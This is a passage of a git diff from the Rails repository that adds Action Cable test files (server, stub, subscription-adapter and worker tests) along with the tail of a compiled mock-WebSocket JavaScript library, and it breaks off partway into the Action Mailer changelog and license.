data\n          //  payload instanceof MessageEvent works, but you can't isntance of NodeEvent\n          //  for now we detect if the output has data defined on it\n          listener.call(_this2, event.data ? event.data : event);\n        }\n      });\n    }\n  }]);\n\n  return SocketIO;\n})(_eventTarget2['default']);\n\nSocketIO.CONNECTING = 0;\nSocketIO.OPEN = 1;\nSocketIO.CLOSING = 2;\nSocketIO.CLOSED = 3;\n\n/*\n* Static constructor methods for the IO Socket\n*/\nvar IO = function ioConstructor(url) {\n  return new SocketIO(url);\n};\n\n/*\n* Alias the raw IO() constructor\n*/\nIO.connect = function ioConnect(url) {\n  /* eslint-disable new-cap */\n  return IO(url);\n  /* eslint-enable new-cap */\n};\n\nexports['default'] = IO;\nmodule.exports = exports['default'];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();\n\nvar _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nvar _urijs = require('urijs');\n\nvar _urijs2 = _interopRequireDefault(_urijs);\n\nvar _helpersDelay = require('./helpers/delay');\n\nvar _helpersDelay2 = _interopRequireDefault(_helpersDelay);\n\nvar _eventTarget = require('./event-target');\n\nvar _eventTarget2 = _interopRequireDefault(_eventTarget);\n\nvar _networkBridge = require('./network-bridge');\n\nvar _networkBridge2 = _interopRequireDefault(_networkBridge);\n\nvar _helpersCloseCodes = require('./helpers/close-codes');\n\nvar _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes);\n\nvar _eventFactory = require('./event-factory');\n\n/*\n* The main websocket class which is designed to mimick the native WebSocket class as close\n* as possible.\n*\n* https://developer.mozilla.org/en-US/docs/Web/API/WebSocket\n*/\n\nvar WebSocket = (function (_EventTarget) {\n  _inherits(WebSocket, _EventTarget);\n\n  /*\n  * @param {string} url\n  */\n\n  function WebSocket(url) {\n    var protocol = arguments.length <= 1 || arguments[1] === undefined ? '' : arguments[1];\n\n    _classCallCheck(this, WebSocket);\n\n    _get(Object.getPrototypeOf(WebSocket.prototype), 'constructor', this).call(this);\n\n    if (!url) {\n      throw new TypeError('Failed to construct \\'WebSocket\\': 1 argument required, but only 0 present.');\n    }\n\n    this.binaryType = 'blob';\n    this.url = (0, _urijs2['default'])(url).toString();\n    this.readyState = WebSocket.CONNECTING;\n    this.protocol = '';\n\n    if (typeof protocol === 'string') {\n      this.protocol = protocol;\n    } else if (Array.isArray(protocol) && protocol.length > 0) {\n      this.protocol = protocol[0];\n    }\n\n    /*\n    * In order to capture the callback function we need to define custom setters.\n    * To illustrate:\n    *   mySocket.onopen = function() { alert(true) };\n    *\n    * The only way to capture that function and hold onto it for later is with the\n    * below code:\n    */\n    Object.defineProperties(this, {\n      onopen: {\n        configurable: true,\n        enumerable: true,\n        get: function get() {\n          return this.listeners.open;\n        },\n        set: function set(listener) {\n          this.addEventListener('open', listener);\n        }\n      },\n      onmessage: {\n        configurable: true,\n        enumerable: true,\n        get: function get() {\n          return this.listeners.message;\n        },\n        set: function set(listener) {\n          this.addEventListener('message', listener);\n        }\n      },\n      onclose: {\n        configurable: true,\n        enumerable: true,\n        get: function get() {\n          return this.listeners.close;\n        },\n        set: function set(listener) {\n          this.addEventListener('close', listener);\n        }\n      },\n      onerror: {\n        configurable: true,\n        enumerable: true,\n        get: function get() {\n          return this.listeners.error;\n        },\n        set: function set(listener) {\n          this.addEventListener('error', listener);\n        }\n      }\n    });\n\n    var server = _networkBridge2['default'].attachWebSocket(this, this.url);\n\n    /*\n    * This delay is needed so that we dont trigger an event before the callbacks have been\n    * setup. For example:\n    *\n    * var socket = new WebSocket('ws://localhost');\n    *\n    * // If we dont have the delay then the event would be triggered right here and this is\n    * // before the onopen had a chance to register itself.\n    *\n    * socket.onopen = () => { // this would never be called };\n    *\n    * // and with the delay the event gets triggered here after all of the callbacks have been\n    * // registered :-)\n    */\n    (0, _helpersDelay2['default'])(function delayCallback() {\n      if (server) {\n        this.readyState = WebSocket.OPEN;\n        server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connection' }), server, this);\n        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'open', target: this }));\n      } else {\n        this.readyState = WebSocket.CLOSED;\n        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error', target: this }));\n        this.dispatchEvent((0, _eventFactory.createCloseEvent)({ type: 'close', target: this, code: _helpersCloseCodes2['default'].CLOSE_NORMAL }));\n\n        console.error('WebSocket connection to \\'' + this.url + '\\' failed');\n      }\n    }, this);\n  }\n\n  /*\n  * Transmits data to the server over the WebSocket connection.\n  *\n  * https://developer.mozilla.org/en-US/docs/Web/API/WebSocket#send()\n  */\n\n  _createClass(WebSocket, [{\n    key: 'send',\n    value: function send(data) {\n      if (this.readyState === WebSocket.CLOSING || this.readyState === WebSocket.CLOSED) {\n        throw new Error('WebSocket is already in CLOSING or CLOSED state');\n      }\n\n      var messageEvent = (0, _eventFactory.createMessageEvent)({\n        type: 'message',\n        origin: this.url,\n        data: data\n      });\n\n      var server = _networkBridge2['default'].serverLookup(this.url);\n\n      if (server) {\n        server.dispatchEvent(messageEvent, data);\n      }\n    }\n\n    /*\n    * Closes the WebSocket connection or connection attempt, if any.\n    * If the connection is already CLOSED, this method does nothing.\n    *\n    * https://developer.mozilla.org/en-US/docs/Web/API/WebSocket#close()\n    */\n  }, {\n    key: 'close',\n    value: function close() {\n      if (this.readyState !== WebSocket.OPEN) {\n        return undefined;\n      }\n\n      var server = _networkBridge2['default'].serverLookup(this.url);\n      var closeEvent = (0, _eventFactory.createCloseEvent)({\n        type: 'close',\n        target: this,\n        code: _helpersCloseCodes2['default'].CLOSE_NORMAL\n      });\n\n      _networkBridge2['default'].removeWebSocket(this, this.url);\n\n      this.readyState = WebSocket.CLOSED;\n      this.dispatchEvent(closeEvent);\n\n      if (server) {\n        server.dispatchEvent(closeEvent, server);\n      }\n    }\n  }]);\n\n  return WebSocket;\n})(_eventTarget2['default']);\n\nWebSocket.CONNECTING = 0;\nWebSocket.OPEN = 1;\nWebSocket.CLOSING = 2;\nWebSocket.CLOSED = 3;\n\nexports['default'] = WebSocket;\nmodule.exports = exports['default'];"]}
diff --git a/actioncable/test/server/base_test.rb b/actioncable/test/server/base_test.rb
new file mode 100644
index 0000000000..1312e45f49
--- /dev/null
+++ b/actioncable/test/server/base_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_server"
+require "active_support/core_ext/hash/indifferent_access"
+
+class BaseTest < ActiveSupport::TestCase
+  def setup
+    @server = ActionCable::Server::Base.new
+    @server.config.cable = { adapter: "async" }.with_indifferent_access
+  end
+
+  class FakeConnection
+    def close
+    end
+  end
+
+  test "#restart closes all open connections" do
+    conn = FakeConnection.new
+    @server.add_connection(conn)
+
+    conn.expects(:close)
+    @server.restart
+  end
+
+  test "#restart shuts down worker pool" do
+    @server.worker_pool.expects(:halt)
+    @server.restart
+  end
+
+  test "#restart shuts down pub/sub adapter" do
+    @server.pubsub.expects(:shutdown)
+    @server.restart
+  end
+end
diff --git a/actioncable/test/server/broadcasting_test.rb b/actioncable/test/server/broadcasting_test.rb
new file mode 100644
index 0000000000..72cec26234
--- /dev/null
+++ b/actioncable/test/server/broadcasting_test.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_server"
+
+class BroadcastingTest < ActiveSupport::TestCase
+  test "fetching a broadcaster converts the broadcasting queue to a string" do
+    broadcasting = :test_queue
+    server = TestServer.new
+    broadcaster = server.broadcaster_for(broadcasting)
+
+    assert_equal "test_queue", broadcaster.broadcasting
+  end
+
+  test "broadcast generates notification" do
+    begin
+      server = TestServer.new
+
+      events = []
+      ActiveSupport::Notifications.subscribe "broadcast.action_cable" do |*args|
+        events << ActiveSupport::Notifications::Event.new(*args)
+      end
+
+      broadcasting = "test_queue"
+      message = { body: "test message" }
+      server.broadcast(broadcasting, message)
+
+      assert_equal 1, events.length
+      assert_equal "broadcast.action_cable", events[0].name
+      assert_equal broadcasting, events[0].payload[:broadcasting]
+      assert_equal message, events[0].payload[:message]
+      assert_equal ActiveSupport::JSON, events[0].payload[:coder]
+    ensure
+      ActiveSupport::Notifications.unsubscribe "broadcast.action_cable"
+    end
+  end
+
+  test "broadcaster from broadcaster_for generates notification" do
+    begin
+      server = TestServer.new
+
+      events = []
+      ActiveSupport::Notifications.subscribe "broadcast.action_cable" do |*args|
+        events << ActiveSupport::Notifications::Event.new(*args)
+      end
+
+      broadcasting = "test_queue"
+      message = { body: "test message" }
+
+      broadcaster = server.broadcaster_for(broadcasting)
+      broadcaster.broadcast(message)
+
+      assert_equal 1, events.length
+      assert_equal "broadcast.action_cable", events[0].name
+      assert_equal broadcasting, events[0].payload[:broadcasting]
+      assert_equal message, events[0].payload[:message]
+      assert_equal ActiveSupport::JSON, events[0].payload[:coder]
+    ensure
+      ActiveSupport::Notifications.unsubscribe "broadcast.action_cable"
+    end
+  end
+end
diff --git a/actioncable/test/stubs/global_id.rb b/actioncable/test/stubs/global_id.rb
new file mode 100644
index 0000000000..15fab6b8a7
--- /dev/null
+++ b/actioncable/test/stubs/global_id.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class GlobalID
+  attr_reader :uri
+  delegate :to_param, :to_s, to: :uri
+
+  def initialize(gid, options = {})
+    @uri = gid
+  end
+end
diff --git a/actioncable/test/stubs/room.rb b/actioncable/test/stubs/room.rb
new file mode 100644
index 0000000000..df7236f408
--- /dev/null
+++ b/actioncable/test/stubs/room.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class Room
+  attr_reader :id, :name
+
+  def initialize(id, name = "Campfire")
+    @id = id
+    @name = name
+  end
+
+  def to_global_id
+    GlobalID.new("Room##{id}-#{name}")
+  end
+
+  def to_gid_param
+    to_global_id.to_param
+  end
+end
diff --git a/actioncable/test/stubs/test_adapter.rb b/actioncable/test/stubs/test_adapter.rb
new file mode 100644
index 0000000000..c481046973
--- /dev/null
+++ b/actioncable/test/stubs/test_adapter.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class SuccessAdapter < ActionCable::SubscriptionAdapter::Base
+  def broadcast(channel, payload)
+  end
+
+  def subscribe(channel, callback, success_callback = nil)
+  end
+
+  def unsubscribe(channel, callback)
+  end
+end
diff --git a/actioncable/test/stubs/test_connection.rb b/actioncable/test/stubs/test_connection.rb
new file mode 100644
index 0000000000..fdddd1159e
--- /dev/null
+++ b/actioncable/test/stubs/test_connection.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require "stubs/user"
+
+class TestConnection
+  attr_reader :identifiers, :logger, :current_user, :server, :transmissions
+
+  delegate :pubsub, to: :server
+
+  def initialize(user = User.new("lifo"), coder: ActiveSupport::JSON, subscription_adapter: SuccessAdapter)
+    @coder = coder
+    @identifiers = [ :current_user ]
+
+    @current_user = user
+    @logger = ActiveSupport::TaggedLogging.new ActiveSupport::Logger.new(StringIO.new)
+    @server = TestServer.new(subscription_adapter: subscription_adapter)
+    @transmissions = []
+  end
+
+  def transmit(cable_message)
+    @transmissions << encode(cable_message)
+  end
+
+  def last_transmission
+    decode @transmissions.last if @transmissions.any?
+  end
+
+  def decode(websocket_message)
+    @coder.decode websocket_message
+  end
+
+  def encode(cable_message)
+    @coder.encode cable_message
+  end
+end
diff --git a/actioncable/test/stubs/test_server.rb b/actioncable/test/stubs/test_server.rb
new file mode 100644
index 0000000000..0bc4625e28
--- /dev/null
+++ b/actioncable/test/stubs/test_server.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "ostruct"
+
+class TestServer
+  include ActionCable::Server::Connections
+  include ActionCable::Server::Broadcasting
+
+  attr_reader :logger, :config, :mutex
+
+  def initialize(subscription_adapter: SuccessAdapter)
+    @logger = ActiveSupport::TaggedLogging.new ActiveSupport::Logger.new(StringIO.new)
+
+    @config = OpenStruct.new(log_tags: [], subscription_adapter: subscription_adapter)
+
+    @mutex = Monitor.new
+  end
+
+  def pubsub
+    @pubsub ||= @config.subscription_adapter.new(self)
+  end
+
+  def event_loop
+    @event_loop ||= ActionCable::Connection::StreamEventLoop.new.tap do |loop|
+      loop.instance_variable_set(:@executor, Concurrent.global_io_executor)
+    end
+  end
+
+  def worker_pool
+    @worker_pool ||= ActionCable::Server::Worker.new(max_size: 5)
+  end
+end
diff --git a/actioncable/test/stubs/user.rb b/actioncable/test/stubs/user.rb
new file mode 100644
index 0000000000..7894d1d9ae
--- /dev/null
+++ b/actioncable/test/stubs/user.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class User
+  attr_reader :name
+
+  def initialize(name)
+    @name = name
+  end
+
+  def to_global_id
+    GlobalID.new("User##{name}")
+  end
+
+  def to_gid_param
+    to_global_id.to_param
+  end
+end
diff --git a/actioncable/test/subscription_adapter/async_test.rb b/actioncable/test/subscription_adapter/async_test.rb
new file mode 100644
index 0000000000..6e038259b5
--- /dev/null
+++ b/actioncable/test/subscription_adapter/async_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require_relative "common"
+
+class AsyncAdapterTest < ActionCable::TestCase
+  include CommonSubscriptionAdapterTest
+
+  def setup
+    super
+
+    @tx_adapter.shutdown
+    @tx_adapter = @rx_adapter
+  end
+
+  def cable_config
+    { adapter: "async" }
+  end
+end
diff --git a/actioncable/test/subscription_adapter/base_test.rb b/actioncable/test/subscription_adapter/base_test.rb
new file mode 100644
index 0000000000..999dc0cba1
--- /dev/null
+++ b/actioncable/test/subscription_adapter/base_test.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_server"
+
+class ActionCable::SubscriptionAdapter::BaseTest < ActionCable::TestCase
+  ## TEST THAT ERRORS ARE RETURNED FOR INHERITORS THAT DON'T OVERRIDE METHODS
+
+  class BrokenAdapter < ActionCable::SubscriptionAdapter::Base
+  end
+
+  setup do
+    @server = TestServer.new
+    @server.config.subscription_adapter = BrokenAdapter
+    @server.config.allowed_request_origins = %w( http://rubyonrails.com )
+  end
+
+  test "#broadcast returns NotImplementedError by default" do
+    assert_raises NotImplementedError do
+      BrokenAdapter.new(@server).broadcast("channel", "payload")
+    end
+  end
+
+  test "#subscribe returns NotImplementedError by default" do
+    callback = lambda { puts "callback" }
+    success_callback = lambda { puts "success" }
+
+    assert_raises NotImplementedError do
+      BrokenAdapter.new(@server).subscribe("channel", callback, success_callback)
+    end
+  end
+
+  test "#unsubscribe returns NotImplementedError by default" do
+    callback = lambda { puts "callback" }
+
+    assert_raises NotImplementedError do
+      BrokenAdapter.new(@server).unsubscribe("channel", callback)
+    end
+  end
+
+  # TEST METHODS THAT ARE REQUIRED OF THE ADAPTER'S BACKEND STORAGE OBJECT
+
+  test "#broadcast is implemented" do
+    assert_nothing_raised do
+      SuccessAdapter.new(@server).broadcast("channel", "payload")
+    end
+  end
+
+  test "#subscribe is implemented" do
+    callback = lambda { puts "callback" }
+    success_callback = lambda { puts "success" }
+
+    assert_nothing_raised do
+      SuccessAdapter.new(@server).subscribe("channel", callback, success_callback)
+    end
+  end
+
+  test "#unsubscribe is implemented" do
+    callback = lambda { puts "callback" }
+
+    assert_nothing_raised do
+      SuccessAdapter.new(@server).unsubscribe("channel", callback)
+    end
+  end
+end
diff --git a/actioncable/test/subscription_adapter/channel_prefix.rb b/actioncable/test/subscription_adapter/channel_prefix.rb
new file mode 100644
index 0000000000..3071facd9d
--- /dev/null
+++ b/actioncable/test/subscription_adapter/channel_prefix.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionCable::Server::WithIndependentConfig < ActionCable::Server::Base
+  # ActionCable::Server::Base defines config as a class variable.
+  # Need config to be an instance variable here as we're testing 2 separate configs
+  def config
+    @config ||= ActionCable::Server::Configuration.new
+  end
+end
+
+module ChannelPrefixTest
+  def test_channel_prefix
+    server2 = ActionCable::Server::WithIndependentConfig.new
+    server2.config.cable = alt_cable_config
+    server2.config.logger = Logger.new(StringIO.new).tap { |l| l.level = Logger::UNKNOWN }
+
+    adapter_klass = server2.config.pubsub_adapter
+
+    rx_adapter2 = adapter_klass.new(server2)
+    tx_adapter2 = adapter_klass.new(server2)
+
+    subscribe_as_queue("channel") do |queue|
+      subscribe_as_queue("channel", rx_adapter2) do |queue2|
+        @tx_adapter.broadcast("channel", "hello world")
+        tx_adapter2.broadcast("channel", "hello world 2")
+
+        assert_equal "hello world", queue.pop
+        assert_equal "hello world 2", queue2.pop
+      end
+    end
+  end
+
+  def alt_cable_config
+    cable_config.merge(channel_prefix: "foo")
+  end
+end
diff --git a/actioncable/test/subscription_adapter/common.rb b/actioncable/test/subscription_adapter/common.rb
new file mode 100644
index 0000000000..c533a9f3eb
--- /dev/null
+++ b/actioncable/test/subscription_adapter/common.rb
@@ -0,0 +1,131 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "concurrent"
+
+require "active_support/core_ext/hash/indifferent_access"
+require "pathname"
+
+module CommonSubscriptionAdapterTest
+  WAIT_WHEN_EXPECTING_EVENT = 3
+  WAIT_WHEN_NOT_EXPECTING_EVENT = 0.2
+
+  def setup
+    server = ActionCable::Server::Base.new
+    server.config.cable = cable_config.with_indifferent_access
+    server.config.logger = Logger.new(StringIO.new).tap { |l| l.level = Logger::UNKNOWN }
+
+    adapter_klass = server.config.pubsub_adapter
+
+    @rx_adapter = adapter_klass.new(server)
+    @tx_adapter = adapter_klass.new(server)
+  end
+
+  def teardown
+    [@rx_adapter, @tx_adapter].uniq.compact.each(&:shutdown)
+  end
+
+  def subscribe_as_queue(channel, adapter = @rx_adapter)
+    queue = Queue.new
+
+    callback = -> data { queue << data }
+    subscribed = Concurrent::Event.new
+    adapter.subscribe(channel, callback, Proc.new { subscribed.set })
+    subscribed.wait(WAIT_WHEN_EXPECTING_EVENT)
+    assert subscribed.set?
+
+    yield queue
+
+    sleep WAIT_WHEN_NOT_EXPECTING_EVENT
+    assert_empty queue
+  ensure
+    adapter.unsubscribe(channel, callback) if subscribed.set?
+  end
+
+  def test_subscribe_and_unsubscribe
+    subscribe_as_queue("channel") do |queue|
+    end
+  end
+
+  def test_basic_broadcast
+    subscribe_as_queue("channel") do |queue|
+      @tx_adapter.broadcast("channel", "hello world")
+
+      assert_equal "hello world", queue.pop
+    end
+  end
+
+  def test_broadcast_after_unsubscribe
+    keep_queue = nil
+    subscribe_as_queue("channel") do |queue|
+      keep_queue = queue
+
+      @tx_adapter.broadcast("channel", "hello world")
+
+      assert_equal "hello world", queue.pop
+    end
+
+    @tx_adapter.broadcast("channel", "hello void")
+
+    sleep WAIT_WHEN_NOT_EXPECTING_EVENT
+    assert_empty keep_queue
+  end
+
+  def test_multiple_broadcast
+    subscribe_as_queue("channel") do |queue|
+      @tx_adapter.broadcast("channel", "bananas")
+      @tx_adapter.broadcast("channel", "apples")
+
+      received = []
+      2.times { received << queue.pop }
+      assert_equal ["apples", "bananas"], received.sort
+    end
+  end
+
+  def test_identical_subscriptions
+    subscribe_as_queue("channel") do |queue|
+      subscribe_as_queue("channel") do |queue_2|
+        @tx_adapter.broadcast("channel", "hello")
+
+        assert_equal "hello", queue_2.pop
+      end
+
+      assert_equal "hello", queue.pop
+    end
+  end
+
+  def test_simultaneous_subscriptions
+    subscribe_as_queue("channel") do |queue|
+      subscribe_as_queue("other channel") do |queue_2|
+        @tx_adapter.broadcast("channel", "apples")
+        @tx_adapter.broadcast("other channel", "oranges")
+
+        assert_equal "apples", queue.pop
+        assert_equal "oranges", queue_2.pop
+      end
+    end
+  end
+
+  def test_channel_filtered_broadcast
+    subscribe_as_queue("channel") do |queue|
+      @tx_adapter.broadcast("other channel", "one")
+      @tx_adapter.broadcast("channel", "two")
+
+      assert_equal "two", queue.pop
+    end
+  end
+
+  def test_long_identifiers
+    channel_1 = "a" * 100 + "1"
+    channel_2 = "a" * 100 + "2"
+    subscribe_as_queue(channel_1) do |queue|
+      subscribe_as_queue(channel_2) do |queue_2|
+        @tx_adapter.broadcast(channel_1, "apples")
+        @tx_adapter.broadcast(channel_2, "oranges")
+
+        assert_equal "apples", queue.pop
+        assert_equal "oranges", queue_2.pop
+      end
+    end
+  end
+end
diff --git a/actioncable/test/subscription_adapter/evented_redis_test.rb b/actioncable/test/subscription_adapter/evented_redis_test.rb
new file mode 100644
index 0000000000..e3e0a0c72a
--- /dev/null
+++ b/actioncable/test/subscription_adapter/evented_redis_test.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require_relative "common"
+require_relative "channel_prefix"
+
+class EventedRedisAdapterTest < ActionCable::TestCase
+  include CommonSubscriptionAdapterTest
+  include ChannelPrefixTest
+
+  def setup
+    assert_deprecated do
+      super
+    end
+
+    # em-hiredis is warning-rich
+    @previous_verbose, $VERBOSE = $VERBOSE, nil
+  end
+
+  def teardown
+    super
+
+    # Ensure EM is shut down before we re-enable warnings
+    EventMachine.reactor_thread.tap do |thread|
+      EventMachine.stop
+      thread.join
+    end
+
+    $VERBOSE = @previous_verbose
+  end
+
+  def test_slow_eventmachine
+    require "eventmachine"
+    require "thread"
+
+    lock = Mutex.new
+
+    EventMachine.singleton_class.class_eval do
+      alias_method :delayed_initialize_event_machine, :initialize_event_machine
+      define_method(:initialize_event_machine) do
+        lock.synchronize do
+          sleep 0.5
+          delayed_initialize_event_machine
+        end
+      end
+    end
+
+    test_basic_broadcast
+  ensure
+    lock.synchronize do
+      EventMachine.singleton_class.class_eval do
+        alias_method :initialize_event_machine, :delayed_initialize_event_machine
+        remove_method :delayed_initialize_event_machine
+      end
+    end
+  end
+
+  def cable_config
+    { adapter: "evented_redis", url: "redis://:password@127.0.0.1:6379/12" }
+  end
+end
diff --git a/actioncable/test/subscription_adapter/inline_test.rb b/actioncable/test/subscription_adapter/inline_test.rb
new file mode 100644
index 0000000000..6305626b2b
--- /dev/null
+++ b/actioncable/test/subscription_adapter/inline_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require_relative "common"
+
+class InlineAdapterTest < ActionCable::TestCase
+  include CommonSubscriptionAdapterTest
+
+  def setup
+    super
+
+    @tx_adapter.shutdown
+    @tx_adapter = @rx_adapter
+  end
+
+  def cable_config
+    { adapter: "inline" }
+  end
+end
diff --git a/actioncable/test/subscription_adapter/postgresql_test.rb b/actioncable/test/subscription_adapter/postgresql_test.rb
new file mode 100644
index 0000000000..1c375188ba
--- /dev/null
+++ b/actioncable/test/subscription_adapter/postgresql_test.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require_relative "common"
+
+require "active_record"
+
+class PostgresqlAdapterTest < ActionCable::TestCase
+  include CommonSubscriptionAdapterTest
+
+  def setup
+    database_config = { "adapter" => "postgresql", "database" => "activerecord_unittest" }
+    ar_tests = File.expand_path("../../../activerecord/test", __dir__)
+    if Dir.exist?(ar_tests)
+      require File.join(ar_tests, "config")
+      require File.join(ar_tests, "support/config")
+      local_config = ARTest.config["connections"]["postgresql"]["arunit"]
+      database_config.update local_config if local_config
+    end
+
+    ActiveRecord::Base.establish_connection database_config
+
+    begin
+      ActiveRecord::Base.connection
+    rescue
+      @rx_adapter = @tx_adapter = nil
+      skip "Couldn't connect to PostgreSQL: #{database_config.inspect}"
+    end
+
+    super
+  end
+
+  def teardown
+    super
+
+    ActiveRecord::Base.clear_all_connections!
+  end
+
+  def cable_config
+    { adapter: "postgresql" }
+  end
+end
diff --git a/actioncable/test/subscription_adapter/redis_test.rb b/actioncable/test/subscription_adapter/redis_test.rb
new file mode 100644
index 0000000000..69120d5753
--- /dev/null
+++ b/actioncable/test/subscription_adapter/redis_test.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require_relative "common"
+require_relative "channel_prefix"
+
+class RedisAdapterTest < ActionCable::TestCase
+  include CommonSubscriptionAdapterTest
+  include ChannelPrefixTest
+
+  def cable_config
+    { adapter: "redis", driver: "ruby", url: "redis://:password@127.0.0.1:6379/12" }
+  end
+end
+
+class RedisAdapterTest::Hiredis < RedisAdapterTest
+  def cable_config
+    super.merge(driver: "hiredis")
+  end
+end
+
+class RedisAdapterTest::AlternateConfiguration < RedisAdapterTest
+  def cable_config
+    alt_cable_config = super.dup
+    alt_cable_config.delete(:url)
+    alt_cable_config.merge(host: "127.0.0.1", port: 6379, db: 12, password: "password")
+  end
+end
diff --git a/actioncable/test/subscription_adapter/subscriber_map_test.rb b/actioncable/test/subscription_adapter/subscriber_map_test.rb
new file mode 100644
index 0000000000..ed81099cbc
--- /dev/null
+++ b/actioncable/test/subscription_adapter/subscriber_map_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class SubscriberMapTest < ActionCable::TestCase
+  test "broadcast should not change subscribers" do
+    setup_subscription_map
+    origin = @subscription_map.instance_variable_get(:@subscribers).dup
+
+    @subscription_map.broadcast("not_exist_channel", "")
+
+    assert_equal origin, @subscription_map.instance_variable_get(:@subscribers)
+  end
+
+  private
+    def setup_subscription_map
+      @subscription_map = ActionCable::SubscriptionAdapter::SubscriberMap.new
+    end
+end
diff --git a/actioncable/test/test_helper.rb b/actioncable/test/test_helper.rb
new file mode 100644
index 0000000000..2a4611fb37
--- /dev/null
+++ b/actioncable/test/test_helper.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require "action_cable"
+require "active_support/testing/autorun"
+
+require "puma"
+require "mocha/setup"
+require "rack/mock"
+
+begin
+  require "byebug"
+rescue LoadError
+end
+
+# Require all the stubs and models
+Dir[File.expand_path("stubs/*.rb", __dir__)].each { |file| require file }
+
+class ActionCable::TestCase < ActiveSupport::TestCase
+  def wait_for_async
+    wait_for_executor Concurrent.global_io_executor
+  end
+
+  def run_in_eventmachine
+    yield
+    wait_for_async
+  end
+
+  def wait_for_executor(executor)
+    # do not wait forever, wait 2s
+    timeout = 2
+    until executor.completed_task_count == executor.scheduled_task_count
+      sleep 0.1
+      timeout -= 0.1
+      raise "Executor could not complete all tasks in 2 seconds" unless timeout > 0
+    end
+  end
+end
diff --git a/actioncable/test/worker_test.rb b/actioncable/test/worker_test.rb
new file mode 100644
index 0000000000..bc1f3e415a
--- /dev/null
+++ b/actioncable/test/worker_test.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class WorkerTest < ActiveSupport::TestCase
+  class Receiver
+    attr_accessor :last_action
+
+    def run
+      @last_action = :run
+    end
+
+    def process(message)
+      @last_action = [ :process, message ]
+    end
+
+    def connection
+      self
+    end
+
+    def logger
+      # Impersonating a connection requires a TaggedLoggerProxy'ied logger.
+      inner_logger = Logger.new(StringIO.new).tap { |l| l.level = Logger::UNKNOWN }
+      ActionCable::Connection::TaggedLoggerProxy.new(inner_logger, tags: [])
+    end
+  end
+
+  setup do
+    @worker = ActionCable::Server::Worker.new
+    @receiver = Receiver.new
+  end
+
+  teardown do
+    @receiver.last_action = nil
+  end
+
+  test "invoke" do
+    @worker.invoke @receiver, :run, connection: @receiver.connection
+    assert_equal :run, @receiver.last_action
+  end
+
+  test "invoke with arguments" do
+    @worker.invoke @receiver, :process, "Hello", connection: @receiver.connection
+    assert_equal [ :process, "Hello" ], @receiver.last_action
+  end
+end
diff --git a/actionmailer/CHANGELOG.md b/actionmailer/CHANGELOG.md
new file mode 100644
index 0000000000..9993a11c9d
--- /dev/null
+++ b/actionmailer/CHANGELOG.md
@@ -0,0 +1,12 @@
+*   Allow Action Mailer classes to configure their delivery job.
+
+        class MyMailer < ApplicationMailer
+          self.delivery_job = MyCustomDeliveryJob
+
+          ...
+        end
+
+    *Matthew Mongeau*
+
+
+Please check [5-1-stable](https://github.com/rails/rails/blob/5-1-stable/actionmailer/CHANGELOG.md) for previous changes.
diff --git a/actionmailer/MIT-LICENSE b/actionmailer/MIT-LICENSE
new file mode 100644
index 0000000000..ac810e86d0
--- /dev/null
+++ b/actionmailer/MIT-LICENSE
@@ -0,0 +1,21 @@
+Copyright (c) 2004-2017 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
